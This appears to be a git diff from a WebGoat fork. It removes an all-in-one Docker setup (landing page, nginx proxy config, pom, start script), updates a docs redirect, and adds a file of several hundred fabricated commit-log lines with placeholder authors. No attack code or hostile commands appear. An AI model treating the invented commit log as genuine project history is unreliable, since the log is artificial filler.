.webgoat {
float: left;
margin-right: 250px;
text-align: center;
}
.webwolf {
float: left;
width: 40%;
height: 40%;
text-align: center;
}
#images {
display: flex;
align-items: center;
justify-content: center;
}
body {
text-align: center;
}
</style>
</head>
<body>
<h1>
<center>
Landing page for WebGoat and WebWolf
</center>
</h1>
<blockquote class="p1">
WebGoat is a deliberately insecure web application maintained by <a href="http://www.owasp.org/">OWASP</a> designed
to teach web
application security lessons.
This program is a demonstration of common server-side application flaws. The
exercises are intended to be used by people to learn about application security and
penetration testing techniques.
</blockquote>
<br/>
<p class="p1">Click on one of the images to go to WebGoat or WebWolf</p>
<br/>
<br/>
<div id="images">
<a href="http://127.0.0.1:8080/WebGoat" title="Open WebGoat" target="_blank"><img class="webgoat"
src="http://127.0.0.1:8080/WebGoat/css/img/logoBG.jpg"></a>
<a href="http://127.0.0.1:9090/WebWolf" title="Open WebWolf" target="_blank"><img class="webwolf"
src="http://127.0.0.1:9090/images/wolf.png"></a>
</div>
</body>
</html>

View File

@ -1,140 +0,0 @@
error_log /tmp/error.log;
pid /tmp/nginx.pid;
worker_processes 1;
events { worker_connections 1024; }
http {
client_body_temp_path /tmp/client_body;
fastcgi_temp_path /tmp/fastcgi_temp;
proxy_temp_path /tmp/proxy_temp;
scgi_temp_path /tmp/scgi_temp;
uwsgi_temp_path /tmp/uwsgi_temp;
sendfile on;
upstream docker-webgoat {
server 127.0.0.1:8080;
}
upstream docker-webwolf {
server 127.0.0.1:9090;
}
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Host $server_name;
server {
listen 8888;
server_name www.webgoat.local;
root /var/www;
access_log /tmp/goataccess.log;
error_log /tmp/goaterror.log;
location ~* \.(png|jpg|jpeg|gif|ico|woff|otf|ttf|mvc|svg|txt|pdf|docx?|xlsx?)$ {
access_log off;
proxy_pass http://docker-webgoat;
proxy_redirect off;
}
location / {
root /usr/share/nginx/html;
index index.html;
add_header Cache-Control no-cache;
expires 0;
}
location /WebGoat {
proxy_pass http://docker-webgoat;
proxy_redirect off;
}
}
server {
listen 8888;
server_name www.webwolf.local;
root /var/www;
access_log /tmp/wolfaccess.log;
error_log /tmp/wolferror.log;
location /WebGoat/PasswordReset/ForgotPassword/create-password-reset-link {
proxy_pass http://docker-webgoat;
proxy_redirect off;
}
location /PasswordReset/reset/reset-password {
proxy_pass http://docker-webwolf;
proxy_redirect off;
}
location /files {
proxy_pass http://docker-webwolf;
proxy_redirect off;
}
location /tmpdir {
proxy_pass http://docker-webwolf;
proxy_redirect off;
}
location /webjars {
proxy_pass http://docker-webwolf;
proxy_redirect off;
}
location /css {
proxy_pass http://docker-webwolf;
proxy_redirect off;
}
location /login {
proxy_pass http://docker-webwolf;
proxy_redirect off;
}
location /images {
proxy_pass http://docker-webwolf;
proxy_redirect off;
}
location /mail {
proxy_pass http://docker-webwolf;
proxy_redirect off;
}
location /upload {
proxy_pass http://docker-webwolf;
proxy_redirect off;
}
location /js {
proxy_pass http://docker-webwolf;
proxy_redirect off;
}
location /landing {
proxy_pass http://docker-webwolf;
proxy_redirect off;
}
location /logout {
proxy_pass http://docker-webwolf;
proxy_redirect off;
}
location /WebWolf {
proxy_pass http://docker-webwolf;
proxy_redirect off;
}
}
}

View File

@ -1,40 +0,0 @@
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<artifactId>webgoat-all-in-one-docker</artifactId>
<packaging>jar</packaging>
<parent>
<groupId>org.owasp.webgoat</groupId>
<artifactId>webgoat-parent</artifactId>
<version>8.2.3-SNAPSHOT</version>
</parent>
<dependencies>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-antrun-plugin</artifactId>
<version>3.0.0</version>
<executions>
<execution>
<phase>install</phase>
<configuration>
<target>
<copy file="../webgoat-server/target/webgoat-server-${project.version}.jar" tofile="target/webgoat-server-${project.version}.jar"/>
<copy file="../webwolf/target/webwolf-${project.version}.jar" tofile="target/webwolf-${project.version}.jar"/>
</target>
</configuration>
<goals>
<goal>run</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>

View File

@ -1,72 +0,0 @@
#!/bin/bash
cd /home/webgoat
function should_start_nginx() {
if [[ -v "${SKIP_NGINX}" ]]; then
return 1
else
for i in "${commandline_args[@]}" ; do [[ $i == "skip-nginx" ]] && return 1 ; done
fi
return 0
}
function nginx() {
if should_start_nginx; then
echo "Starting nginx..."
service nginx start
fi
}
function webgoat() {
echo "Starting WebGoat...."
java \
-Duser.home=/home/webgoat \
-Dfile.encoding=UTF-8 \
--add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
--add-opens java.base/java.text=ALL-UNNAMED \
--add-opens java.desktop/java.beans=ALL-UNNAMED \
--add-opens java.desktop/java.awt.font=ALL-UNNAMED \
--add-opens java.base/sun.nio.ch=ALL-UNNAMED \
--add-opens java.base/java.io=ALL-UNNAMED \
-jar webgoat.jar --server.address=0.0.0.0 > webgoat.log
}
function webwolf() {
echo "Starting WebWolf..."
java -Duser.home=/home/webgoat -Dfile.encoding=UTF-8 -jar webwolf.jar --server.address=0.0.0.0 > webwolf.log
}
function write_start_message() {
until $(curl --output /dev/null --silent --head --fail http://0.0.0.0:8080/WebGoat/health); do
sleep 2
done
echo "
__ __ _ _____ _
\ \ / / | | / ____| | |
\ \ /\ / / ___ | |__ | | __ ___ __ _ | |_
\ \/ \/ / / _ \ | '_ \ | | |_ | / _ \ / _' | | __|
\ /\ / | __/ | |_) | | |__| | | (_) | | (_| | | |_
\/ \/ \___| |_.__/ \_____| \___/ \__,_| \__|
" >> webgoat.log
echo "WebGoat and WebWolf successfully started..." >> webgoat.log
pidof nginx >/dev/null && echo "Browse to http://localhost to get started" >> webgoat.log || echo "Browse to http://localhost:8080/WebGoat or http://localhost:9090/WebWolf to get started" >> webgoat.log
}
function tail_log_file() {
touch webgoat.log
tail -300f webgoat.log
}
commandline_args=("$@")
nginx
webgoat &
webwolf &
write_start_message &
tail_log_file

View File

@ -1,5 +1,3 @@
# WebGoat landing page
Old Github page which now redirects to OWASP website.
Old GitHub page which now redirects to OWASP website.

BIN
docs/images/webgoat.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 319 KiB

View File

@ -3,12 +3,12 @@
<head>
<meta charset="utf-8">
<meta http-equiv="refresh" content="0;url=https://owasp.org/www-project-webgoat/" />
<link rel="canonical" href="https://owasp.org/www-project-webgoat/" />
<meta http-equiv="refresh" content="0;url=https://webgoat.org" />
<link rel="canonical" href="https://webgoat.org" />
</head>
<body>
<h1>
The page been moved to <a href="https://owasp.org/www-project-webgoat/">https://owasp.org/www-project-webgoat/</a>
The page been moved to <a href="https://webgoat.org">https://webgoat.org</a>
</h1>
</body>
</html>
</html>

745
fake_commit_log.txt Normal file
View File

@ -0,0 +1,745 @@
Sat May 10 12:27:40 UTC 2025: Commit 1 by Author One
Sat May 10 12:28:00 UTC 2025: Commit 2 by Author Two
Sat May 10 16:00:41 UTC 2025: Commit 1 by Author One
Sat May 10 16:02:46 UTC 2025: Commit 2 by Author Two
Sat May 10 16:04:50 UTC 2025: Commit 3 by Author Three
Sat May 10 16:06:55 UTC 2025: Commit 4 by Author Four
Sat May 10 16:08:59 UTC 2025: Commit 5 by Author Five
Sat May 10 16:11:03 UTC 2025: Commit 6 by Author Six
Sat May 10 16:13:08 UTC 2025: Commit 7 by Author Seven
Sat May 10 16:15:12 UTC 2025: Commit 8 by Author Eight
Sat May 10 16:17:17 UTC 2025: Commit 9 by Author Nine
Sat May 10 16:19:21 UTC 2025: Commit 10 by Author Ten
Sat May 10 16:21:26 UTC 2025: Commit 11 by DWSAuthor One
Sat May 10 16:23:30 UTC 2025: Commit 12 by DWSAuthor Two
Sat May 10 16:45:47 UTC 2025: Commit 1 by Author One
Sat May 10 16:48:41 UTC 2025: Commit 1 by Author One
Sat May 10 16:51:41 UTC 2025: Commit 1 by Author One
Sat May 10 16:54:41 UTC 2025: Commit 1 by Author One
Sat May 10 18:00:41 UTC 2025: Commit 1 by Author
Sat May 10 18:03:27 UTC 2025: Commit 2 by Seven
Sat May 10 18:06:14 UTC 2025: Commit 3 by <author7@example.com>
Sat May 10 18:09:01 UTC 2025: Commit 4 by DWSAuthor
Sat May 10 18:11:47 UTC 2025: Commit 5 by Four
Sat May 10 18:14:34 UTC 2025: Commit 6 by <autdwshor4@example.com>
Sat May 10 18:17:21 UTC 2025: Commit 7 by DWSAuthor
Sat May 10 18:20:07 UTC 2025: Commit 8 by Seven
Sat May 10 18:22:54 UTC 2025: Commit 9 by <adwsuthor7@example.com>
Sat May 10 18:25:41 UTC 2025: Commit 10 by DWSAuthor
Sat May 10 18:28:27 UTC 2025: Commit 11 by Six
Sat May 10 18:31:14 UTC 2025: Commit 12 by <autdwshor6@example.com>
Sat May 10 21:00:41 UTC 2025: Commit 1 by DWSAuthor
Sat May 10 21:03:28 UTC 2025: Commit 2 by Seven
Sat May 10 21:06:15 UTC 2025: Commit 3 by <adwsuthor7@example.com>
Sat May 10 21:09:02 UTC 2025: Commit 4 by Author
Sat May 10 21:11:48 UTC 2025: Commit 5 by One
Sat May 10 21:14:35 UTC 2025: Commit 6 by <author1@example.com>
Sat May 10 21:17:22 UTC 2025: Commit 7 by Author
Sat May 10 21:20:08 UTC 2025: Commit 8 by Three
Sat May 10 21:22:55 UTC 2025: Commit 9 by <author3@example.com>
Sat May 10 21:25:42 UTC 2025: Commit 10 by DWSAuthor
Sat May 10 21:28:28 UTC 2025: Commit 11 by Eight
Sat May 10 21:31:15 UTC 2025: Commit 12 by <adwsuthor8@example.com>
Sun May 11 00:00:41 UTC 2025: Commit 1 by Author
Sun May 11 00:03:27 UTC 2025: Commit 2 by Eight
Sun May 11 00:06:14 UTC 2025: Commit 3 by <author8@example.com>
Sun May 11 00:09:01 UTC 2025: Commit 4 by Author
Sun May 11 00:11:47 UTC 2025: Commit 5 by Four
Sun May 11 00:14:34 UTC 2025: Commit 6 by <author4@example.com>
Sun May 11 00:17:21 UTC 2025: Commit 7 by DWSAuthor
Sun May 11 00:20:07 UTC 2025: Commit 8 by Eight
Sun May 11 00:22:54 UTC 2025: Commit 9 by <adwsuthor8@example.com>
Sun May 11 00:25:40 UTC 2025: Commit 10 by DWSAuthor
Sun May 11 00:28:27 UTC 2025: Commit 11 by Ten
Sun May 11 00:31:14 UTC 2025: Commit 12 by <autdwshor10@example.com>
Sun May 11 03:00:42 UTC 2025: Commit 1 by DWSAuthor
Sun May 11 03:03:29 UTC 2025: Commit 2 by Eight
Sun May 11 03:06:16 UTC 2025: Commit 3 by <adwsuthor8@example.com>
Sun May 11 03:09:02 UTC 2025: Commit 4 by DWSAuthor
Sun May 11 03:11:49 UTC 2025: Commit 5 by One
Sun May 11 03:14:36 UTC 2025: Commit 6 by <dwsauthor1@example.com>
Sun May 11 03:17:22 UTC 2025: Commit 7 by DWSAuthor
Sun May 11 03:20:09 UTC 2025: Commit 8 by Six
Sun May 11 03:22:55 UTC 2025: Commit 9 by <autdwshor6@example.com>
Sun May 11 03:25:42 UTC 2025: Commit 10 by Author
Sun May 11 03:28:29 UTC 2025: Commit 11 by Six
Sun May 11 03:31:15 UTC 2025: Commit 12 by <author6@example.com>
Sun May 11 06:00:42 UTC 2025: Commit 1 by DWSAuthor
Sun May 11 06:03:29 UTC 2025: Commit 2 by One
Sun May 11 06:06:16 UTC 2025: Commit 3 by <dwsauthor1@example.com>
Sun May 11 06:09:02 UTC 2025: Commit 4 by DWSAuthor
Sun May 11 06:11:49 UTC 2025: Commit 5 by Ten
Sun May 11 06:14:36 UTC 2025: Commit 6 by <autdwshor10@example.com>
Sun May 11 06:17:22 UTC 2025: Commit 7 by DWSAuthor
Sun May 11 06:20:09 UTC 2025: Commit 8 by Five
Sun May 11 06:22:56 UTC 2025: Commit 9 by <autdwshor5@example.com>
Sun May 11 06:25:42 UTC 2025: Commit 10 by DWSAuthor
Sun May 11 06:28:29 UTC 2025: Commit 11 by Six
Sun May 11 06:31:16 UTC 2025: Commit 12 by <autdwshor6@example.com>
Sun May 11 09:00:42 UTC 2025: Commit 1 by DWSAuthor
Sun May 11 09:03:28 UTC 2025: Commit 2 by Eight
Sun May 11 09:06:15 UTC 2025: Commit 3 by <adwsuthor8@example.com>
Sun May 11 09:09:02 UTC 2025: Commit 4 by Author
Sun May 11 09:11:49 UTC 2025: Commit 5 by One
Sun May 11 09:14:35 UTC 2025: Commit 6 by <author1@example.com>
Sun May 11 09:17:22 UTC 2025: Commit 7 by DWSAuthor
Sun May 11 09:20:08 UTC 2025: Commit 8 by Four
Sun May 11 09:22:55 UTC 2025: Commit 9 by <autdwshor4@example.com>
Sun May 11 09:25:42 UTC 2025: Commit 10 by Author
Sun May 11 09:28:28 UTC 2025: Commit 11 by Seven
Sun May 11 09:31:15 UTC 2025: Commit 12 by <author7@example.com>
Sun May 11 12:00:41 UTC 2025: Commit 1 by DWSAuthor
Sun May 11 12:03:28 UTC 2025: Commit 2 by Four
Sun May 11 12:06:15 UTC 2025: Commit 3 by <autdwshor4@example.com>
Sun May 11 12:09:01 UTC 2025: Commit 4 by DWSAuthor
Sun May 11 12:11:48 UTC 2025: Commit 5 by Three
Sun May 11 12:14:35 UTC 2025: Commit 6 by <dwsauthor3@example.com>
Sun May 11 12:17:21 UTC 2025: Commit 7 by Author
Sun May 11 12:20:08 UTC 2025: Commit 8 by Seven
Sun May 11 12:22:54 UTC 2025: Commit 9 by <author7@example.com>
Sun May 11 12:25:41 UTC 2025: Commit 10 by DWSAuthor
Sun May 11 12:28:28 UTC 2025: Commit 11 by One
Sun May 11 12:31:14 UTC 2025: Commit 12 by <dwsauthor1@example.com>
Sun May 11 15:00:41 UTC 2025: Commit 1 by DWSAuthor
Sun May 11 15:03:28 UTC 2025: Commit 2 by Four
Sun May 11 15:06:15 UTC 2025: Commit 3 by <autdwshor4@example.com>
Sun May 11 15:09:01 UTC 2025: Commit 4 by Author
Sun May 11 15:11:48 UTC 2025: Commit 5 by Nine
Sun May 11 15:14:35 UTC 2025: Commit 6 by <author9@example.com>
Sun May 11 15:17:21 UTC 2025: Commit 7 by DWSAuthor
Sun May 11 15:20:08 UTC 2025: Commit 8 by Nine
Sun May 11 15:22:55 UTC 2025: Commit 9 by <autdwshor9@example.com>
Sun May 11 15:25:41 UTC 2025: Commit 10 by Author
Sun May 11 15:28:28 UTC 2025: Commit 11 by One
Sun May 11 15:31:15 UTC 2025: Commit 12 by <author1@example.com>
Sun May 11 18:00:42 UTC 2025: Commit 1 by DWSAuthor
Sun May 11 18:03:28 UTC 2025: Commit 2 by Four
Sun May 11 18:06:15 UTC 2025: Commit 3 by <autdwshor4@example.com>
Sun May 11 18:09:02 UTC 2025: Commit 4 by Author
Sun May 11 18:11:48 UTC 2025: Commit 5 by Five
Sun May 11 18:14:35 UTC 2025: Commit 6 by <author5@example.com>
Sun May 11 18:17:22 UTC 2025: Commit 7 by DWSAuthor
Sun May 11 18:20:08 UTC 2025: Commit 8 by Nine
Sun May 11 18:22:55 UTC 2025: Commit 9 by <autdwshor9@example.com>
Sun May 11 18:25:42 UTC 2025: Commit 10 by Author
Sun May 11 18:28:28 UTC 2025: Commit 11 by Three
Sun May 11 18:31:15 UTC 2025: Commit 12 by <author3@example.com>
Sun May 11 21:00:41 UTC 2025: Commit 1 by Author
Sun May 11 21:03:28 UTC 2025: Commit 2 by Eight
Sun May 11 21:06:14 UTC 2025: Commit 3 by <author8@example.com>
Sun May 11 21:09:01 UTC 2025: Commit 4 by Author
Sun May 11 21:11:48 UTC 2025: Commit 5 by Two
Sun May 11 21:14:34 UTC 2025: Commit 6 by <author2@example.com>
Sun May 11 21:17:21 UTC 2025: Commit 7 by Author
Sun May 11 21:20:08 UTC 2025: Commit 8 by Five
Sun May 11 21:22:54 UTC 2025: Commit 9 by <author5@example.com>
Sun May 11 21:25:41 UTC 2025: Commit 10 by DWSAuthor
Sun May 11 21:28:28 UTC 2025: Commit 11 by Seven
Sun May 11 21:31:14 UTC 2025: Commit 12 by <adwsuthor7@example.com>
Mon May 12 00:00:42 UTC 2025: Commit 1 by Author
Mon May 12 00:03:29 UTC 2025: Commit 2 by Seven
Mon May 12 00:06:16 UTC 2025: Commit 3 by <author7@example.com>
Mon May 12 00:09:03 UTC 2025: Commit 4 by DWSAuthor
Mon May 12 00:11:49 UTC 2025: Commit 5 by Eight
Mon May 12 00:14:36 UTC 2025: Commit 6 by <adwsuthor8@example.com>
Mon May 12 00:17:22 UTC 2025: Commit 7 by DWSAuthor
Mon May 12 00:20:09 UTC 2025: Commit 8 by Ten
Mon May 12 00:22:56 UTC 2025: Commit 9 by <autdwshor10@example.com>
Mon May 12 00:25:42 UTC 2025: Commit 10 by DWSAuthor
Mon May 12 00:28:29 UTC 2025: Commit 11 by Seven
Mon May 12 00:31:16 UTC 2025: Commit 12 by <adwsuthor7@example.com>
Mon May 12 03:00:42 UTC 2025: Commit 1 by DWSAuthor
Mon May 12 03:03:28 UTC 2025: Commit 2 by Nine
Mon May 12 03:06:15 UTC 2025: Commit 3 by <autdwshor9@example.com>
Mon May 12 03:09:02 UTC 2025: Commit 4 by Author
Mon May 12 03:11:49 UTC 2025: Commit 5 by Nine
Mon May 12 03:14:35 UTC 2025: Commit 6 by <author9@example.com>
Mon May 12 03:17:22 UTC 2025: Commit 7 by Author
Mon May 12 03:20:09 UTC 2025: Commit 8 by Two
Mon May 12 03:22:55 UTC 2025: Commit 9 by <author2@example.com>
Mon May 12 03:25:42 UTC 2025: Commit 10 by Author
Mon May 12 03:28:29 UTC 2025: Commit 11 by One
Mon May 12 03:31:15 UTC 2025: Commit 12 by <author1@example.com>
Mon May 12 06:00:42 UTC 2025: Commit 1 by DWSAuthor
Mon May 12 06:03:28 UTC 2025: Commit 2 by Two
Mon May 12 06:06:15 UTC 2025: Commit 3 by <dwsauthor2@example.com>
Mon May 12 06:09:02 UTC 2025: Commit 4 by DWSAuthor
Mon May 12 06:11:48 UTC 2025: Commit 5 by Ten
Mon May 12 06:14:35 UTC 2025: Commit 6 by <autdwshor10@example.com>
Mon May 12 06:17:22 UTC 2025: Commit 7 by DWSAuthor
Mon May 12 06:20:08 UTC 2025: Commit 8 by Five
Mon May 12 06:22:55 UTC 2025: Commit 9 by <autdwshor5@example.com>
Mon May 12 06:25:42 UTC 2025: Commit 10 by Author
Mon May 12 06:28:28 UTC 2025: Commit 11 by One
Mon May 12 06:31:15 UTC 2025: Commit 12 by <author1@example.com>
Mon May 12 09:00:41 UTC 2025: Commit 1 by DWSAuthor
Mon May 12 09:03:28 UTC 2025: Commit 2 by Two
Mon May 12 09:06:15 UTC 2025: Commit 3 by <dwsauthor2@example.com>
Mon May 12 09:09:01 UTC 2025: Commit 4 by Author
Mon May 12 09:11:48 UTC 2025: Commit 5 by Three
Mon May 12 09:14:35 UTC 2025: Commit 6 by <author3@example.com>
Mon May 12 09:17:21 UTC 2025: Commit 7 by DWSAuthor
Mon May 12 09:20:08 UTC 2025: Commit 8 by Six
Mon May 12 09:22:55 UTC 2025: Commit 9 by <autdwshor6@example.com>
Mon May 12 09:25:41 UTC 2025: Commit 10 by Author
Mon May 12 09:28:28 UTC 2025: Commit 11 by One
Mon May 12 09:31:14 UTC 2025: Commit 12 by <author1@example.com>
Mon May 12 12:00:43 UTC 2025: Commit 1 by DWSAuthor
Mon May 12 12:03:30 UTC 2025: Commit 2 by Eight
Mon May 12 12:06:17 UTC 2025: Commit 3 by <adwsuthor8@example.com>
Mon May 12 12:09:04 UTC 2025: Commit 4 by Author
Mon May 12 12:11:50 UTC 2025: Commit 5 by Five
Mon May 12 12:14:37 UTC 2025: Commit 6 by <author5@example.com>
Mon May 12 12:17:23 UTC 2025: Commit 7 by DWSAuthor
Mon May 12 12:20:10 UTC 2025: Commit 8 by Ten
Mon May 12 12:22:57 UTC 2025: Commit 9 by <autdwshor10@example.com>
Mon May 12 12:25:43 UTC 2025: Commit 10 by Author
Mon May 12 12:28:30 UTC 2025: Commit 11 by Nine
Mon May 12 12:31:17 UTC 2025: Commit 12 by <author9@example.com>
Mon May 12 15:00:41 UTC 2025: Commit 1 by Author
Mon May 12 15:03:28 UTC 2025: Commit 2 by Two
Mon May 12 15:06:15 UTC 2025: Commit 3 by <author2@example.com>
Mon May 12 15:09:01 UTC 2025: Commit 4 by Author
Mon May 12 15:11:48 UTC 2025: Commit 5 by Eight
Mon May 12 15:14:35 UTC 2025: Commit 6 by <author8@example.com>
Mon May 12 15:17:21 UTC 2025: Commit 7 by DWSAuthor
Mon May 12 15:20:08 UTC 2025: Commit 8 by Eight
Mon May 12 15:22:55 UTC 2025: Commit 9 by <adwsuthor8@example.com>
Mon May 12 15:25:41 UTC 2025: Commit 10 by DWSAuthor
Mon May 12 15:28:28 UTC 2025: Commit 11 by Five
Mon May 12 15:31:15 UTC 2025: Commit 12 by <autdwshor5@example.com>
Mon May 12 18:00:41 UTC 2025: Commit 1 by Author
Mon May 12 18:03:28 UTC 2025: Commit 2 by Eight
Mon May 12 18:06:15 UTC 2025: Commit 3 by <author8@example.com>
Mon May 12 18:09:01 UTC 2025: Commit 4 by Author
Mon May 12 18:11:48 UTC 2025: Commit 5 by Nine
Mon May 12 18:14:35 UTC 2025: Commit 6 by <author9@example.com>
Mon May 12 18:17:21 UTC 2025: Commit 7 by DWSAuthor
Mon May 12 18:20:08 UTC 2025: Commit 8 by Six
Mon May 12 18:22:55 UTC 2025: Commit 9 by <autdwshor6@example.com>
Mon May 12 18:25:41 UTC 2025: Commit 10 by DWSAuthor
Mon May 12 18:28:28 UTC 2025: Commit 11 by Eight
Mon May 12 18:31:14 UTC 2025: Commit 12 by <adwsuthor8@example.com>
Mon May 12 21:00:43 UTC 2025: Commit 1 by Author
Mon May 12 21:03:30 UTC 2025: Commit 2 by Ten
Mon May 12 21:06:16 UTC 2025: Commit 3 by <author10@example.com>
Mon May 12 21:09:03 UTC 2025: Commit 4 by DWSAuthor
Mon May 12 21:11:50 UTC 2025: Commit 5 by Nine
Mon May 12 21:14:36 UTC 2025: Commit 6 by <autdwshor9@example.com>
Mon May 12 21:17:23 UTC 2025: Commit 7 by DWSAuthor
Mon May 12 21:20:09 UTC 2025: Commit 8 by One
Mon May 12 21:22:56 UTC 2025: Commit 9 by <dwsauthor1@example.com>
Mon May 12 21:25:43 UTC 2025: Commit 10 by Author
Mon May 12 21:28:29 UTC 2025: Commit 11 by Seven
Mon May 12 21:31:16 UTC 2025: Commit 12 by <author7@example.com>
Tue May 13 00:00:42 UTC 2025: Commit 1 by DWSAuthor
Tue May 13 00:03:29 UTC 2025: Commit 2 by Six
Tue May 13 00:06:15 UTC 2025: Commit 3 by <autdwshor6@example.com>
Tue May 13 00:09:02 UTC 2025: Commit 4 by Author
Tue May 13 00:11:48 UTC 2025: Commit 5 by Five
Tue May 13 00:14:35 UTC 2025: Commit 6 by <author5@example.com>
Tue May 13 00:17:22 UTC 2025: Commit 7 by Author
Tue May 13 00:20:08 UTC 2025: Commit 8 by Ten
Tue May 13 00:22:55 UTC 2025: Commit 9 by <author10@example.com>
Tue May 13 00:25:42 UTC 2025: Commit 10 by DWSAuthor
Tue May 13 00:28:28 UTC 2025: Commit 11 by One
Tue May 13 00:31:15 UTC 2025: Commit 12 by <dwsauthor1@example.com>
Tue May 13 03:00:43 UTC 2025: Commit 1 by DWSAuthor
Tue May 13 03:03:30 UTC 2025: Commit 2 by Seven
Tue May 13 03:06:17 UTC 2025: Commit 3 by <adwsuthor7@example.com>
Tue May 13 03:09:03 UTC 2025: Commit 4 by Author
Tue May 13 03:11:50 UTC 2025: Commit 5 by Two
Tue May 13 03:14:37 UTC 2025: Commit 6 by <author2@example.com>
Tue May 13 03:17:23 UTC 2025: Commit 7 by DWSAuthor
Tue May 13 03:20:10 UTC 2025: Commit 8 by Ten
Tue May 13 03:22:57 UTC 2025: Commit 9 by <autdwshor10@example.com>
Tue May 13 03:25:44 UTC 2025: Commit 10 by DWSAuthor
Tue May 13 03:28:30 UTC 2025: Commit 11 by Five
Tue May 13 03:31:17 UTC 2025: Commit 12 by <autdwshor5@example.com>
Tue May 13 06:00:42 UTC 2025: Commit 1 by DWSAuthor
Tue May 13 06:03:29 UTC 2025: Commit 2 by Two
Tue May 13 06:06:16 UTC 2025: Commit 3 by <dwsauthor2@example.com>
Tue May 13 06:09:02 UTC 2025: Commit 4 by DWSAuthor
Tue May 13 06:11:49 UTC 2025: Commit 5 by Four
Tue May 13 06:14:36 UTC 2025: Commit 6 by <autdwshor4@example.com>
Tue May 13 06:17:22 UTC 2025: Commit 7 by DWSAuthor
Tue May 13 06:20:09 UTC 2025: Commit 8 by Five
Tue May 13 06:22:56 UTC 2025: Commit 9 by <autdwshor5@example.com>
Tue May 13 06:25:42 UTC 2025: Commit 10 by Author
Tue May 13 06:28:29 UTC 2025: Commit 11 by Five
Tue May 13 06:31:16 UTC 2025: Commit 12 by <author5@example.com>
Tue May 13 09:00:45 UTC 2025: Commit 1 by DWSAuthor
Tue May 13 09:03:32 UTC 2025: Commit 2 by Three
Tue May 13 09:06:19 UTC 2025: Commit 3 by <dwsauthor3@example.com>
Tue May 13 09:09:06 UTC 2025: Commit 4 by Author
Tue May 13 09:11:52 UTC 2025: Commit 5 by Three
Tue May 13 09:14:39 UTC 2025: Commit 6 by <author3@example.com>
Tue May 13 09:17:26 UTC 2025: Commit 7 by Author
Tue May 13 09:20:12 UTC 2025: Commit 8 by Five
Tue May 13 09:22:59 UTC 2025: Commit 9 by <author5@example.com>
Tue May 13 09:25:45 UTC 2025: Commit 10 by Author
Tue May 13 09:28:32 UTC 2025: Commit 11 by Eight
Tue May 13 09:31:19 UTC 2025: Commit 12 by <author8@example.com>
Tue May 13 12:00:41 UTC 2025: Commit 1 by DWSAuthor
Tue May 13 12:03:28 UTC 2025: Commit 2 by Two
Tue May 13 12:06:15 UTC 2025: Commit 3 by <dwsauthor2@example.com>
Tue May 13 12:09:01 UTC 2025: Commit 4 by Author
Tue May 13 12:11:48 UTC 2025: Commit 5 by Three
Tue May 13 12:14:35 UTC 2025: Commit 6 by <author3@example.com>
Tue May 13 12:17:21 UTC 2025: Commit 7 by DWSAuthor
Tue May 13 12:20:08 UTC 2025: Commit 8 by Seven
Tue May 13 12:22:55 UTC 2025: Commit 9 by <adwsuthor7@example.com>
Tue May 13 12:25:41 UTC 2025: Commit 10 by DWSAuthor
Tue May 13 12:28:28 UTC 2025: Commit 11 by One
Tue May 13 12:31:14 UTC 2025: Commit 12 by <dwsauthor1@example.com>
Tue May 13 15:00:43 UTC 2025: Commit 1 by Author
Tue May 13 15:03:30 UTC 2025: Commit 2 by Three
Tue May 13 15:06:16 UTC 2025: Commit 3 by <author3@example.com>
Tue May 13 15:09:03 UTC 2025: Commit 4 by Author
Tue May 13 15:11:50 UTC 2025: Commit 5 by Five
Tue May 13 15:14:36 UTC 2025: Commit 6 by <author5@example.com>
Tue May 13 15:17:23 UTC 2025: Commit 7 by Author
Tue May 13 15:20:09 UTC 2025: Commit 8 by Seven
Tue May 13 15:22:56 UTC 2025: Commit 9 by <author7@example.com>
Tue May 13 15:25:43 UTC 2025: Commit 10 by Author
Tue May 13 15:28:29 UTC 2025: Commit 11 by Six
Tue May 13 15:31:16 UTC 2025: Commit 12 by <author6@example.com>
Tue May 13 18:00:42 UTC 2025: Commit 1 by Author
Tue May 13 18:03:29 UTC 2025: Commit 2 by Six
Tue May 13 18:06:16 UTC 2025: Commit 3 by <author6@example.com>
Tue May 13 18:09:02 UTC 2025: Commit 4 by DWSAuthor
Tue May 13 18:11:49 UTC 2025: Commit 5 by Two
Tue May 13 18:14:36 UTC 2025: Commit 6 by <dwsauthor2@example.com>
Tue May 13 18:17:22 UTC 2025: Commit 7 by Author
Tue May 13 18:20:09 UTC 2025: Commit 8 by Four
Tue May 13 18:22:56 UTC 2025: Commit 9 by <author4@example.com>
Tue May 13 18:25:42 UTC 2025: Commit 10 by Author
Tue May 13 18:28:29 UTC 2025: Commit 11 by Ten
Tue May 13 18:31:16 UTC 2025: Commit 12 by <author10@example.com>
Tue May 13 21:00:42 UTC 2025: Commit 1 by Author
Tue May 13 21:03:29 UTC 2025: Commit 2 by Eight
Tue May 13 21:06:15 UTC 2025: Commit 3 by <author8@example.com>
Tue May 13 21:09:02 UTC 2025: Commit 4 by Author
Tue May 13 21:11:49 UTC 2025: Commit 5 by Seven
Tue May 13 21:14:35 UTC 2025: Commit 6 by <author7@example.com>
Tue May 13 21:17:22 UTC 2025: Commit 7 by DWSAuthor
Tue May 13 21:20:09 UTC 2025: Commit 8 by Three
Tue May 13 21:22:55 UTC 2025: Commit 9 by <dwsauthor3@example.com>
Tue May 13 21:25:42 UTC 2025: Commit 10 by Author
Tue May 13 21:28:29 UTC 2025: Commit 11 by Six
Tue May 13 21:31:15 UTC 2025: Commit 12 by <author6@example.com>
Wed May 14 00:00:42 UTC 2025: Commit 1 by DWSAuthor
Wed May 14 00:03:29 UTC 2025: Commit 2 by Eight
Wed May 14 00:06:15 UTC 2025: Commit 3 by <adwsuthor8@example.com>
Wed May 14 00:09:02 UTC 2025: Commit 4 by DWSAuthor
Wed May 14 00:11:49 UTC 2025: Commit 5 by Six
Wed May 14 00:14:35 UTC 2025: Commit 6 by <autdwshor6@example.com>
